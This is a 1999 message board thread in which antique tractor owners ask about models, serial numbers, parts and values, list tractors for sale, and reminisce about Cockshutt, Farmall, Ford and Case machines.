Robert Ellefson wrote on Friday, September 10, 1999 (PDT):I grew up on a dairy farm in northern Wisconsin (Ridgeland) and used Cockshutt tractors in the 50's and 60's. We had a COOP E-3 narrow front which when locally repainted was converted to the Cockshutt 30 colors and decals. We also bought a 1954 Cockshutt 30 with an adjustable wide front for row crop work. The standard wide front in your picture was too low to the ground to cultivate corn or beans but was good to stabilize the front end. The best feature of the tractor was the live power takeoff. It was the tractor of choice locally for running anything with a power takeoff. The tractor also had a good balance of power to weight so it's traction was remarkable. In the hills of Wisconsin the wide fron was necessary. My Father tipped over the narrow front in a sidehill with a front end loader raised. No doubt having the loader raised caused the tipping but it also made a "roll bar" which protected him; he escaped with minor bruises. WE sold the narrow front within a month. Cockshutt also made some follow on tractors; The 540 low boy; The 550 Standard (50 HP)which we had for many years in the 60's and the 560 diesel (60 HP) and there was a 570 Diesel for larger farms. These tractors were all cream colored with white logo panels. Their style was used by Oliver for their 1650, 1750 and 1850 models which weree of course green. There seems to be a lot of collectors of the 30's and 40 Cockshutts. The 550, 560, and 570 were similar workhorses that had many advanced features which John Deere and others eventually copied. I guess the Cockshutt is the SAAB of the tractor world. As a proud owner of many SAABs with their quirky but advanced engineering features, I appreciate in retrospect the advantages of Cockshutt tractors in their heyday.
Roy Hawes wrote on Friday, September 10, 1999 (PDT):I want to put a standard catagory 1 3 point hitch on my 1950 MT. Does aybody know of a 3rd party manufacture who make a conversion kit, or has plans for what parts to buy and set it up correctly?
Ryan McDaid wrote on Thursday, September 09, 1999 (PDT):I need information on Cub implements. I have a plow, sickle bar mower, and cultivators. I do not know how to mount them on the tractor. If anyone has or knows where I can find a diagram or instuctions on how to do this, let me know it would be greatly appreciated.
Darrin Ball wrote on Wednesday, September 08, 1999 (PDT):I just purchased a super MD,want to know what years they made these ? also I have a wide front on mine. It also has hydraulics & PTO. Any one with info please E-Mail
Ron Whitney wrote on Wednesday, September 08, 1999 (PDT):I have a Case LA i believe it is a 1944 model. On the side of the block it has the numbers c4862A. Is 1944 the correct year? or do I need a different set of numbers? Also I need a radiator resavour tank that bolts directly benesth the radiator. Does anyone know where I can get one or knows of a good salvage for LA parts? Please help. Also I may be interested in buying a parts tractor if you have any info. on one. Thanks for the help!! Ron
Thomas G Witt wrote on Tuesday, September 07, 1999 (PDT):Last year while cleaning at my brothers cabin on the Missippi river I discovered the steering wheel of a tractor sticking out of the ground. With the aid of my neighbors we were able to get it out, and at present we are taking it apart so that we can transport it back to the mainland. It has Avery tru-draft stamped on the rear end, but it has been retrofitted with a "Oliver/4 cylinder Continental engine. I researched the engine, and it appears that Continental did make engines for Oliver Corporation for a short period of time. This tractor also has two front wheels as opposed to one, and it is a wide fron end. I would appreciate it if you could assist me in trying to find out the model of this machine. it is our intention to restore it. We woul be happy to forward photos as soon as we get itoff the island. I would need an address to send the photos, and also would like a phone number that I might speak to someone who knows something about Avery tractors. My grandfather had an Avery years ago but that was before I was born. My uncle has always been a Oliver/White person, and we have found a motor shop that assures me that they can do the work. We do have thmodel and serial numbers, but I do not have them with me at this time.
Tony Griffin wrote on Tuesday, September 07, 1999 (PDT):I have a Farmall B in great shape, new automotive paint, good tires, startes fast, etc. I would like to sell it. I livee in Albuq. New Mexico. 505-867-2842
Joel shackelford wrote on Monday, September 06, 1999 (PDT):I would like to trade a 1951 M-38 military jeep for an 8N tractor. If interested call joey at (870)856-3330 or e-mail me at the above address. Thanks, Joey
Jim Walters wrote on Monday, September 06, 1999 (PDT):I have a Farmall B for sale. It is in great conditon; runs great, narrow front wtih very good rubber, good rubber on rear, paint in good shape. I was going to have fun by restoring but no time.
Don Schmidt wrote on Sunday, September 05, 1999 (PDT):I have an F-12, which has been in my family for three generations. I am now in the process of restoring it to orginal color . It runs fine & is in great shape.
Miguel J. Atucha wrote on Saturday, September 04, 1999 (PDT):Sirs; I would like to know which is the type and number of the front tires in the tractor pictured here. I am using 19 X 400 in my tractors and would like to purchase wider front tires if available.I'll apreciate your help, Sincerely M.J.Atucha
Miguel J. Atucha wrote on Saturday, September 04, 1999 (PDT):Sirs, I owne two 8N tractors, would like to know more about Funks convertion to six and eight cylinder,which is the resulting power obtained on each convertion. Would like more information on, many thanks, sincerely Miguel J.Atucha
C. E. Fischer wrote on Saturday, September 04, 1999 (PDT):47 Super A not running-vacuum lift plow&cultivators, engine is free.been outside forever. I am new to tractor, is it worth $500.00? any input vvwould be helpful.
chad smith P.A. La. wrote on Saturday, September 04, 1999 (PDT):I have a model B A.C. and I cant read the serial# any suggestions on pulling this # up. I thought about magna flux please help.
Cliff Johnson wrote on Friday, September 03, 1999 (PDT):Have 420 crawler for sale. Sheet metal is in fair to good shape, this dozer has a full canopy for woods work and is equipped with 4 way blade with up and down hydraulic pressure. Runs and works good. Most parts in the undercarriage are 85 to 90%, front idler wheels were worn and have been built back up. Engine is very strong, doesn't smoke or burn oil and starts right up.
jim wrote on Friday, September 03, 1999 (PDT):I am restoring my Great Grandfauthers Farmall, and I am in need of a motor, even froze up is ok as long as it is affordable, stear wheals would also be of interest.
Josh Swanson wrote on Thursday, September 02, 1999 (PDT):just thought you might need my e-mail address it is ssswanson at geneseo.net
JOSH SWANSON wrote on Thursday, September 02, 1999 (PDT):my freind and I are looking for a project for an ag class at school, we would like to find an old Farmall M or H to restore but not looking to spend alot of money to get one, maybe up to $500 dollars. If you know of any around the Il or Iowa area please e-mail me to let me know. thanks Josh!
Jim Elliott wrote on Thursday, September 02, 1999 (PDT):Father-in-law is selling out, but the '47 Cub is coming to my house. All it needs is new front tires and a little cleaning, and it looks like brand new again. His daughters car may have to be moved out of the garage to make room for this heirloom.
ken bedwell wrote on Wednesday, September 01, 1999 (PDT):I agree with Dean Frank and Ernie. I have a "Z" and it is from what I can figure out by the serial numbers is about a 1951. the stearing wheel shaft is almost straight to the front. And the seat is right behind the rear diff..
Lou wrote on Tuesday, August 31, 1999 (PDT):does anyone know where to find a piston for a model G tractor
Randy/Lil'Putz wrote on Tuesday, August 31, 1999 (PDT):My father inlaw just sold his 97, for $1500.oo Can., it had a cad and a front snow blade! It was a very cumbersome tractor to turn with that live front axle!
JODY HAMM wrote on Monday, August 30, 1999 (PDT):I AM IN A WHEELCHAIR AND I AM LOOKING FOR A FARMALL B TO RESTORE AND USE ON MY SMALL FARM. A "B" WILL WORK TO TAKE MY WHEELCHAIR WITH ME, IT IS ALSO LOW TO THE GROUND SO I CAN GET ON IT TO DRIVE.
Art Parry wrote on Sunday, August 29, 1999 (PDT):I purchased a G706 Diesel several years ago and it is the most reliable starting tractor I have. I have used it to pull my plow disc and smoothing disc as well as run a blower and silage bagger. Although it does not have a live pto or 3 point hitch and has a hand clutch instead of a foot clutch, this does not really matter when doing tilling work, which is what this tractor is best at. The engine is incredibly reliable and even at idle will pull enormous loads if they have to be moved slowly. The tractor has five speeds forward and one reverse, it has no ampli-torc. Mine is equipped with 18.4-34 rear tires and 11.2-24 front tires. The coleman type front axle does not allow for very tight turns but is mechanically quite sound.
D. Orlando wrote on Saturday, August 28, 1999 (PDT):Been looking at an A , rebuilt and painted nice, good rubber,looks good, runs fair. guy wants $1800. Sounds a little high, not sure, any input as to normal price? I would appreciate some input as I'm new to the tractor fun!
Jim wrote on Saturday, August 28, 1999 (PDT):I would like to know the length & width of the Allis Chalmers G. Can anyone help me?
darcey mullen wrote on Friday, August 27, 1999 (PDT):I LEARNED ON A 53 CASE ROW CROP WITH BELT PULLEY AND 3 POINT HITCH THAT POOR OLD TRACTOR IT WAS OVER REEVED OVER WORKED BUT IT NEVER LET US DOWN IT WAS SOLD YEARS AGO SO NOW I OWN A 45 MODEL S THAT I HAVE REBUILT WHAT A TREAT
Dennis wrote on Friday, August 27, 1999 (PDT):Can anyone tell me anything about a 30 or 31 trip bucket loader make IH in the 40's thanks
Ken Cutler wrote on Wednesday, August 25, 1999 (PDT):For magneto parts and info contact Bill Lopoulos at 9786497879 0r Email at blopoulos at aol.com I have just purchased a 1939 AC-B and have acomplete set of steel wheels is anybody interested in them ?
tim spitler wrote on Monday, August 23, 1999 (PDT):i am looking for a belly mower at a real good price,for my cub tractor(1948)or a sickle mower in north carolina....and may be a blade,,,
Milan Davig wrote on Monday, August 23, 1999 (PDT):My son recently acquired the 1941 SC Case that my Father originally purchased. It is in rough shape having sat in the weeds for 30+ years. Is there some place on the internet where we can get specific information re;SC Case tractors? For instance - what is the weight? where can a person get parts (mag/generator/etc.) fairly reasonably? The clutch is stuck but the hand lever is in the disengaged position. Will we have to split the tractor? Any information will be appreciated. Thanks!!
Norm Fast wrote on Saturday, August 21, 1999 (PDT):I have recently restored my grandpa's 1939 F20 Farmall and I'm very proud of the results. I'm sure that grandpa would have been proud too. I plan to enter it into some tractor pulls to see what it can do.
Tim Newton wrote on Friday, August 20, 1999 (PDT):Just looked at a 1948 Oliver 60 RC in fair-poor condition. If anyone could advise me as to the approximate value range of this machine it would be deeply appreciated. Thanks, Tim.
Donn wrote on Friday, August 20, 1999 (PDT):Would like to chat with anyone who has or is in the process of converting an 8n to a v8, especially the 60 hp v8. I'am looking for the answers to a few questions and may also be able to help someonr else. Thanks, Donn
Joe Reisher wrote on Thursday, August 19, 1999 (PDT):The model # on my MF is 34 could you tell me what year this is?
Dean Waldfogel wrote on Thursday, August 19, 1999 (PDT):I agree with Ernie and Frank. The Z's my dad owned in the fifties, looked similar, but the seat was a swivel located further back, and the steering wheel was a straight line to the front along the left side of the engine compartment. I'd love to purchase a model replica of a Z. Any one have one for sale?
Charles wrote on Wednesday, August 18, 1999 (PDT):Which sparkplug is actually #1 where is # 1 on magneto ( is there a mark? )
Tony Mcclelland wrote on Wednesday, August 18, 1999 (PDT):I have a farmall super A which has all it!s casting codes with a T in them I think this translates to 1951 the little tractor is gem and a joy to own. Am I correct in the dating? Thank you.
J. Hoffman wrote on Tuesday, August 17, 1999 (PDT):Have a 1953 Cub for sale in Central Pa. with sycl bar mower, plow, snow blade, cultivator. Original owner's manuals. Good running condition. $3,000 takes all plus enough parts from another Cub to replace almost anything that might eventually need repaired.
Eric Tessmer wrote on Tuesday, August 17, 1999 (PDT):The M is the pinnacle of tractor evolution. It gets no simpler.
Roy Burris wrote on Monday, August 16, 1999 (PDT):I have a Cub with serial no. 12,000 and has hydraulic lift. Does anyone know what year it would have been made?
Daris Mounce wrote on Monday, August 16, 1999 (PDT):I think this tractor is a TO-30 but I'm not sure the serial number is TO-74893 The tag says Harry Ferguson on it. I'd love to find out the year, model, and original colors so I can paint it back original. Thanks, Daris
joe wrote on Sunday, August 15, 1999 (PDT):i have a case va tractor which im going to sell.....can anyone tell me what is the horse power of this tractor thanks joe
Daniel King wrote on Thursday, August 12, 1999 (PDT): Does any body heve any good addresses on the 8N tractors and parts. And how the set up is for a snow plow.
Rick wrote on Thursday, August 12, 1999 (PDT): I purchased a 300 utility about 2 weeks ago for 200 bucks. The 169ci engine had a stuck exhaust valve. After pulling the head repairing the valve problem and replacing a push rod I am grinning from ear to ear. Installed a flapper on the exhaust to keep the rain out of the engine which was the cause for the valve problem. The coffee can aperiently had not been on the exhaust the whole time it had rested. Now all I need is the LINK on the left hand side of the 3 point hitch that attaches the lift arm to torsion bar. Seems that this link must have been broken at some time in its life and has a make shift affair in place of it. Any help locating this piece or what this piece is called due to the fact that I know nothing about tractors would be greatly appreciated. THANX
Al Smith wrote on Wednesday, August 11, 1999 (PDT):Like the caption says, Silver Kings had road speeds up to 30 mph (at least). However, they didn't have adequate brakes to stop the load of silage corn I used to tow with it. It took lots of planning ahead to deal with the Silver King. I suppose it wasn't planned for towing since as I remember it didn't have much of a drawbar. I understand that it was primarily intended for highway mowing, etc. Comments from other users ??
Bruce Wittgren wrote on Wednesday, August 11, 1999 (PDT):I have a 1953 JD 60. No power steering and an after market 3 point hitch. It has seen better day and will see better days again. Runs good, need new or newer front and rear tires. Also have a 53 JD50 with a #45 loader and a 55 JD 70D
Shawn Fairchild wrote on Tuesday, August 10, 1999 (PDT):My father-in-law and I own a 1948 Case DI with a loader, and counter-weight. It is currently "worn yellow" with the Case red showing through. We use it regularly, and affectionately call it "Bull Moose".
Mark Murphy wrote on Tuesday, August 10, 1999 (PDT):I am looking for information maybe shop drawings for an "over and under"drive on an 8N tractor any help would be appreciated.
Alex Thompson wrote on Monday, August 09, 1999 (PDT): I am looking for a air cleaner,starting tank,and the throttle rodds for a Farmall Regular.Please Help!Need parts to restore one.
Alex Thompson wrote on Monday, August 09, 1999 (PDT): I am looking for a air cleaner,starting tank,and the throttle rodds for a Farmall Regular.Please Help!Need parts to restore one.
John Bowers wrote on Monday, August 09, 1999 (PDT):I'm trying to find the serial number on a Ford 2000 tractor I acquired a month ago. My ITS manual says it's located at the top front left of the transmission housing, but I can't spot it. The steering assembly, battery box, etc. are removed, but I still have no luck. Help !!!
C. R. Benjamin wrote on Monday, August 09, 1999 (PDT):Need any information that I can get on a Super A. This one has a loader with a single lifting arm. Mainly interested in diamentions, such as weight, length and width.
C. R. Benjamin wrote on Monday, August 09, 1999 (PDT):Need any information that I can get on a Super A. This one has a loader with a single lifting arm. Mainly interested in diamentions, such as weight, length and width.
Craig Benjamin wrote on Sunday, August 08, 1999 (PDT):Can anyone tell me where I can get some information on a Farmall Super Cub?
Ken Ray wrote on Sunday, August 08, 1999 (PDT):With regard to the Select-o-Speed, I too have found it very nice. I have a 1962 4000 row crop with the SOS, and enjoy the ease of changing speed. With respect to the paint scheme, my Dad had a 601 Workmaster, and I agree it was a red sheetmetal/red engine. All other 601 references are the same that I have seen. As to other colors beneath the original, I have found that on my 4000. It has a early 1962 serial #, and after I recently took mine down to bare metal to restore, I saw red beneath the blue. Given the resemblance and inter-changablity of early 4000 parts with the 901, I suspect that leftover 901 parts were used in the first production runs for the 4000.
Bob wrote on Sunday, August 08, 1999 (PDT):It appears that this would be a fairly easy conversion to make (from the pictures anyway) The track is near identical to the tracks they use on "Bombadeer" snow rigs. People use them too convert vans to snow machines to haul fishermen on Lake of the woods, Minnesota. They are made from flat conveyor belt and "cleats". add a front axle and some matching rims and you have a good replica.
Ed Reynolds wrote on Saturday, August 07, 1999 (PDT):We have 3 "G" tractors, 2 48s and a 49 at the Colorado State University Experiment Station at Fort Collins. We would like to find a newer tractor with the same features and a little more HP. John Blue Co. made one shortly after AC quit production on the "G" but only produced about a hundred and they are extremely rare. They called it the "Super G 1000". It used a Ford engine about the size of the NAA tractor engine. I am interested in finding out about any that are available.
jeff scogin wrote on Saturday, August 07, 1999 (PDT):i am looking for an 8N in fair to excelent condition and under 2000$ w/ some attachments
Eric Gage wrote on Saturday, August 07, 1999 (PDT):Just bought a WD-45. Two minor mishaps so far, but it is so easy to work on. I'm pulling a JD#5 sickle mower (7') with a two-point hitch. I had to fit an adapter to the AC drawbar. Any way to tell the age of the sickle? It works great.
Dick Hargett wrote on Thursday, August 05, 1999 (PDT):I am restroing a Farmall Regular but do not have a source for decals etc. Any info you could send would be greatly appreciated. Thank you Dick Hargettt Hargett's Farm Shop
Harold wrote on Wednesday, August 04, 1999 (PDT):can someone tell me how to change a genator on an 8n to an alternater and what parts are needed. a wire digram would also be helpful. Does an 8n run a alternater at enough rpm's?
John W Peterson wrote on Wednesday, August 04, 1999 (PDT):I don't think it was blue, it was gray.
Loren wrote on Wednesday, August 04, 1999 (PDT):How can I tell what model Farmall I have? It looks like a pic of a BN I saw, with slots in the front wheels. Engine is centered, steering down the right. Would the engine serial number tell and where is it? Thanks, Loren
Steve Lewis wrote on Tuesday, August 03, 1999 (PDT):I acquired a TO-20 about four years ago, and have done a great deal of restoration. It has been sitting in my garage for the past year or so as I picked up a John Deere to use daily. So, I don't know at this point if I will continue to restore or sell the tractor as is.
Will Richardson wrote on Monday, August 02, 1999 (PDT):I have a 1952 Cub with original manual.Also have plow and sickle mower,disc,cultivators and 2 woodsaw attachment`s only one has a pulley,would consider selling the one with- out the pulley.Also could help Joe Wright & Phil Marcotte with their wiring diagram if still needed.
mike wrote on Monday, August 02, 1999 (PDT):This is to Bud Brent I am intested in buying your tractor for $3500, let me know if your interested in my offer.
jeff scogin wrote on Sunday, August 01, 1999 (PDT):i am looking for a farmall cub any year and under 2500$ it needs to be close to running condition and have some attachmeants perfered
Ronnie Deatherage wrote on Saturday, July 31, 1999 (PDT):I am in need of the pin and assembly that fits under the fender of an 8n ford where the 3 point stablizers attach. I am not sure what they are called. Both sides are missing on my 8N. This piece bolts onto the rear axle under the fender using the fender bolts.
theresa wrote on Friday, July 30, 1999 (PDT):My dad has a 9N Ford tractor and is looking to convert from a 6 volt to a 12 volt. He is looking for a wiring diagram to help him convert this.
J.G. Moore wrote on Thursday, July 29, 1999 (PDT):I just purchased a Massey Harris 44 row crop version from an 80 year old lady who had it sitting on the side of her house. It has a loader and blade which is a retrofit. With just a little work it started right up. I feel like I got a steal of a deal as I only paid $1700 for it and it is in great shape. I would like to get ahold of a manual for it. Any sugestions where to go?
Jerrell Crow wrote on Wednesday, July 28, 1999 (PDT):How hard is it to get parts for a f20 farmall if someone could please tell me.
Jonathan Smith wrote on Tuesday, July 27, 1999 (PDT):Hi, I'm currently restoring a 1941 MH 81 (STD)It's a great piece of machinery! I was wondering about the originial colors..was the engine originally red or black?? What horsepower does this model put out??
David B. Hunter wrote on Tuesday, July 27, 1999 (PDT):My dad restored an F20 prior to his death. I am attempting to ascertain a value on it. As best we can tell, it is a complete restoration. I do not know the year of manufacture but it must be between '32 and '35 b/c it was painted gray. the serial number is 1523-DB. Any info would be appreciated.
Jean Greer wrote on Monday, July 26, 1999 (PDT):My husband recently bought a Farmall Model B Serial # F A B 20097. we would like to know the year this tractor was made and any other info anyone may have on it.
R.Tate wrote on Monday, July 26, 1999 (PDT):I also just purchased a farmall A, not for sure what year, but I gave 900.00 dollars for it.
Steve Robbins wrote on Sunday, July 25, 1999 (PDT):I am trying buy what is supposed to be a 1952 8N from my neighbor. However, the serial number has the 8N, then a small B 270. Does this make any sense? Is this a very early 1947, not a 1952?
D. Miller wrote on Sunday, July 25, 1999 (PDT):We have a Farmall A purchased from our city garage about 14 years ago. It is in our shed. If we were to sell it, would anyone have a price we should ask for it. It runs well but needs some TLC in terms of cleaning etc. Maybe someone out there could give us a ballpark figure which I know would depend on the year which I'm not too sure of but probably around 39. And overall condition..would appreciate any input. thanks d. miller
richard saffle wrote on Sunday, July 25, 1999 (PDT):farmall cub dad pull the mag off two years ago and forgot how to time the mag and rotor button, need some info please will please the old man to see the old girl run again thanks for your help
Dave Andresen wrote on Sunday, July 25, 1999 (PDT):I am looking for info on how to acquire a snow blade for a 1949 cub?
Roger Finnie wrote on Sunday, July 25, 1999 (PDT):I bought a super 55 two week's ago, perfect shape, perfect running order, it came with a 7 foot Oliver mower,I need to find out how the cable hook's up? Great investment.
JEFF wrote on Saturday, July 24, 1999 (PDT):Mike, Central Tractor out of Iowa sells used sheetmetal & a lot of other parts. Pretty good prices.1-888-8CT-FARM. I've ordered from them before & am about to again. I think they're pretty fair on their prices.
dave clow wrote on Saturday, July 24, 1999 (PDT):i just got my ac g rebuilt it is a 1948 model. i live in a small town. i hope to plow gardens this fall and the spring. i have a belly mower to. may mow some grass to. they are a nice little tractor and fun to operate.
Bob wrote on Saturday, July 24, 1999 (PDT):My dad has a 53 G its in need of a generator/light switch any idea where we can find one.
John Hennemuth Waverly, pA wrote on Saturday, July 24, 1999 (PDT):I have a beautiful 1947 Cub for sale. new rear tires, snow plow, brand new paint and stickers, full wheel weights it runs better than you do!no hydraulics $ 3,000 call 570 347-3125
Don M wrote on Friday, July 23, 1999 (PDT):I just bought a ford 1948 8n tractor and looking for a set of chains for the winter. JUST THINK OF THE STORIES THESE MACHINES COULD TELL US OF THE PAST.
Ron Smith wrote on Thursday, July 22, 1999 (PDT):please tell me what model case tractor might have been commonly operated by mid-western farmers in the year 1949 and what color was this model?
Mike Griffin wrote on Thursday, July 22, 1999 (PDT):All the VAI's I've seen don't have any implement attachment points other than a towbar with a single hole in it, suitable for a linkpin hitch. Neither do they have a PTO or hydraulic system. They were meant to pull equipment trailers, tow airplanes to and from hangars, and perform other similar work for military and industrial outfits. Perfectly good tractor, but not usually set up for farm work, if that's what you had in mind.
Asa Culver wrote on Tuesday, July 20, 1999 (PDT):I have a Farmall Super MD, just purchased from the disinterested son of a deceased farmer. It runs very well, both gas and diesel, and is now being restored and painted!
Phil Marcotte wrote on Monday, July 19, 1999 (PDT):I have the same problem Joe Wright has. I just purchased a '49 cub and am in need of a wiring diagram. I have a restore job ahead of me as the rings are shot, radiator leaks, brakes are shot, wheel seals, leak and various other problems. I'm looking forward to completing the work and having an "orginal" cub.
Jim wrote on Monday, July 19, 1999 (PDT):I think that this site is the best for finding the best pictures on the net
mike wrote on Sunday, July 18, 1999 (PDT):I recently bought a Ford 1952 8n tractor, and I am restoring it. It had some parts stolen off of it; the hood, battery tray, radiator, and carborator. It only had eighteen hundred hours on the proof meter. I am form Michigan, and it is hard to find good (not rusted out) parts. Does you know anyone who sells original parts? Note; Not new parts.
Dan wrote on Sunday, July 18, 1999 (PDT):What does the N stand for on the BN?
Dan wrote on Sunday, July 18, 1999 (PDT):I am interested in buying a B that can be restored or is in fair condition. I also want some pics of a B. Thanks.
erik wrote on Saturday, July 17, 1999 (PDT):My grandpa has one of these, but the crankshaft broke about 20 years ago. If it had not happened, the WD I have would have cost more to restore becaue I exchanged many parts from it.
John B wrote on Saturday, July 17, 1999 (PDT):I have had a 1949 cub for at least 45 years and used it for mowing grass (63 inch, 3 blade belly cutter) and hauling firewood at my 15 acre summer home in Indiana. Also use it for hay rides for the kids. Great little machine.
Nick Anderson wrote on Friday, July 16, 1999 (PDT):I am a 15 year old boy.My grandpa owns a 1939 or 1940 (not sure) 8-n ford with the funk v-8 engine in it. we are wanting to know how much it would be worth. it has the original engine in it.we have totally restored it and just had the carborater rebilt.It is up for sale so if anyone would want to see it or are interested please email me or call me at 1-937-653-6128.
Jonas Hastings wrote on Friday, July 16, 1999 (PDT): To answer Dale Donohue question,that is not the serial number . The serial number is found on the left side of the engine ona plate.The nubers might not show up be cause of dirt so you might have to clean that area off.
Eric Smith wrote on Wednesday, July 14, 1999 (PDT):Hello all, I just bought a Ford 9N tractor that has no air intake or air cleaner and am looking for a replacement. It has a sir# of 9NT53900, Can anyone tell me what the "T" stands for as I have not seen this on any other tractor also dose anyone know it's age, date of manufacture? I live in a great little California town called Paso Robles, My email is ericsmith at tcsn.net P.S. Great web site!!
Gilbert R. Boss wrote on Tuesday, July 13, 1999 (PDT):I have an Ford 8N, serial #8N-247637 that's been in the family for nearly 40 years, but I don't have any time to play with it. Anyone interested?
Bob Whitaker wrote on Monday, July 12, 1999 (PDT):I have many fond memories of the Oliver 70 row-crop - one of the smoothest and sweetest sounding engines - the Continental six-cylinder, six speed transmission with two reverses gears, not very good brakes, wouldn't quite turn in its own tracks, but a great tractor to drive. We had a four-row cultivator which was hard to attach but very flexible design so it did a good job. The only problem we ever had was with burned valves now and then. Solved that problem by using valves from a Pontiac. The Oliver and Farmall H would go about the same road speed, (the H I think was a little faster), but the six speed Oliver tranny was much more useable than the 5-speed International. The Oliver was superior to any of its contemporaries in use due to the quiet and smooth engine. (My opinion, anyway) We owned several 70's, 77's, 1600's, 1650's, a 35 (Industrial), as many as 5 at one time while farming in Iowa.
David Tillman wrote on Sunday, July 11, 1999 (PDT):I just bought my first '49 8N for light yard work. I have 2 questions. Do you know where I could get wider front rims so that I could install lawn tires? When I was picking up my 8N, the man also "threw in" one of the original jacks that hooks up to the 3 point hitch. Do you know how much the jack is worth? Thanks for the help. David
Darrell Warner wrote on Sunday, July 11, 1999 (PDT):I have just purchased a Ford N series with a 6 cyl. Ford Industrial engine, I don't know if it is an 9, 2 or 8n. It has 9n and 2n casting numbers on the transmission and rear axles. But it has both brakes on the right hand side with the clutch on the left. If you can help me identify the model I would appreciate it. The tractor is in excellent shape, few dents just needs cleaned up and painted.
James Herndon wrote on Sunday, July 11, 1999 (PDT):I recently purchased a TE20. I had to replace the starter switch and the old switch had a spacer welded on the button. The new switch will not engage. I was wondering if there might be another way to solve this problem without welding another spacer on the switch.Any help would be greatly appreciated.
DON LAUGER wrote on Friday, July 09, 1999 (PDT):I HAVE OWNED ONE FOR 10 YEARS USE IT TO PLOW SNOW GOOD ORIGIONAL COND GOOD TIRES I WOULD ALSO LIKE TO KNOW WHAT THIS TRACTOR IS WORTH I WOULD LIKE TO TAKE IN TRADE A SMALL OLDER TRACTOR LIKE AN MM OR CASE
Mitchell L. Wilcox wrote on Friday, July 09, 1999 (PDT):I have recently purchased an L John Deere and need a new grille. Any information that would help me is greatly appreciated. My home phone no. is 912-632-2090. Thanks.
Bobby Garrett wrote on Thursday, July 08, 1999 (PDT):I rescently purchased a 1956 model 60 I need all the info on it I can get.PLEASE contact me if you can help!The biggest question I have is,how do I get the rock shaft to work? I engage the powertrol and move the lever but the shaft doesnt move.Do I have to have an attachment on it with weight before it rotates or am I doing something wrong or is it broke?Can I build a three point attachment for it? Please help me out if you can.THANKS.
Bill Dixon wrote on Thursday, July 08, 1999 (PDT):Is this the only farmall that was blue
greg indzeoski wrote on Thursday, July 08, 1999 (PDT):I work for the Saskatchewan Property Management Corporation in Regina, Saskatchewan Canada. Our corporation operates the provinces air hangar service. We currently own a 1945 Case Warehouse Tractor which was apparently purchased in 1947 by the government of Saskatchewan. We believe the tracor was manufactured by the War Department in Washington, D.C. The tractor was used in Saskatchewan to tow the provinces air ambulance planes. I am trying to determine if the tractor we own is indeed the same tractor as shown above and what the history of it might be. I am looking for any assistance possible. Thanks
Samuel Lovold wrote on Wednesday, July 07, 1999 (PDT):I would like to listen to or watch a 1911 Mogul 45 tractor. Likewise; the Titan 25. Anyone know where these magnificent machines are?
Joe Wright wrote on Tuesday, July 06, 1999 (PDT):Just finished restoring a 1949 cub and need a wireing diagram. If anyone can help I would appreciate it. thanks.
Steve wrote on Tuesday, July 06, 1999 (PDT):My dad was a JD dealer in Wheatland, Wyoming for 20+ years. There was a farmer between Slater and Chugwater that had bought a kit to hook two D's together. The seat was removed from the front one and the front end from the rear. The front end then attched to the front tractor where the seat had been. The clutches and throttles were operated seperately from the rear by a linkage arrangement of some type. Steering was done with the front tractor by using a hydraulic power steering kit. Quite an operation to get it all installed, but once it was up and running it would pull like all get out. Has anyone out there seen any kits like this? Just curious.
Dave wrote on Friday, July 02, 1999 (PDT):I have a Case Tractor Ser#4805201S, in great running condition. I believe it is a Model S as shown in the Ser#, I would like to get manuals for it. However, there seems to be 5 or 6 different ones. My tractor has a towing hitch on the back shaped in a half circle, the tow bar itself has a wheel on it and it rolls on this half circle. It also has a plow frame on the front with a hydrolic system that lifts a ground grading blade. Which manuals should I get. This tractor was purchased a number of years ago by my father-in-law. Who has now passed away. My wife and I purchased the property and the tractor came with it. The tractor was stored outside for a few years not running, but with a bit of hard work on my part it is now running great, and I am using a 5 foot brush deck and cutting the fields. I hope that someone can help me get the correct manuals so that I can restore it and keep it running. Thanks, this is a great web site.
bob van natta wrote on Friday, July 02, 1999 (PDT):josh try loosing one of the hose conections to bleed the air out of the system. once you get fluid out of the conectin tighten it back down anb it should work. did on mine anyway.
Ken P. wrote on Friday, July 02, 1999 (PDT):I have a 1948 Vac. It has a 5 foot WOODS brand belly mower on it. I use it to mow our very large yard. I own a small sawmill and I also use the tractor for moving around lumberwagons. My next project is to rebuild an old lumber edger and power it with the Case. I use to own a mid sixties Cub LoBoy, also with a five foot deck, {International deck.} I used it for four years, but I was always throwing money at it. The Case is ten times the tractor, I love using it, hope to have it for a long time.
Karl Heinz Schmid wrote on Friday, July 02, 1999 (PDT):MASSEY HARRIS D 44 (1949); Looking for a starter motor for the above traktor - new, rebuilt or used. Information on a source would be _very much_ appreciated - we are in Europe, and there is no way one can buy a starter here.
Kevin Dean wrote on Friday, July 02, 1999 (PDT):Have a 1948 Cub, bought it for $1500 with a snow blade and a 12" mowboard. It was in good shape when I got it and have had to go through replacing fluids etc. I aquired manuals and have had a lot of fun just owning it, have had it on 4th of July parade and on display in St. Peters for the town picnic, it's just the right size.
Kurt wrote on Thursday, July 01, 1999 (PDT):I purchased a fully restored Farmal IH H restored tractor atan auction for $700. What is a tractor that age worth on the market? I need to get a wheel and lights fixed on it. Kurt
rob nickel wrote on Thursday, July 01, 1999 (PDT):My Dad,is in to restoring,his twenty one,or so,old tractor's.I'd like to find,a good magazine subscription,for him? Any suggestion's?
Allan Walling wrote on Wednesday, June 30, 1999 (PDT):What year is this tractor? I have been offered a 1923 International tractor and I am looking to see what it would look like as I have not seen it yet. I would appreciate knowing more about it.
josh galdston wrote on Wednesday, June 30, 1999 (PDT):I have a 1951 Ford 8N with a front bucket loader. Unfortunately I am unable to get the loader to work. The pump was recently rebuilt and the hoses appear to be fine. There is plenty of hydraulic fluid in the resevoir; the first thing I did was to toppe it off. The system strains when I attempt to engage it, but the the cylinders just don't move. Does anyone have any thoughts on the subject? Thanks
Harvey Grimsley wrote on Tuesday, June 29, 1999 (PDT):David of southside Va. May have just the cub you are looking for
Antonio Peru wrote on Tuesday, June 29, 1999 (PDT):I believe I have a vao. Is there somewhere that has a list of the characteristics of each model so I can compare them. I am interested in determining the model because it needs some repairs and I want to be able to order the parts.
Daniel wrote on Monday, June 28, 1999 (PDT):Yes,I have a question. What is a regular worth and can you find parts a reasonable price? The reason I ask is I know where one is located, but I have not gotten a chance to look at it yet. I am sure it is probably is in ruff shape. Would it be a wise choice in buying it? IF YOU COULD WOULD YOU E-MAIL ME BACK AT daniel_hughes_82 at seidata.com
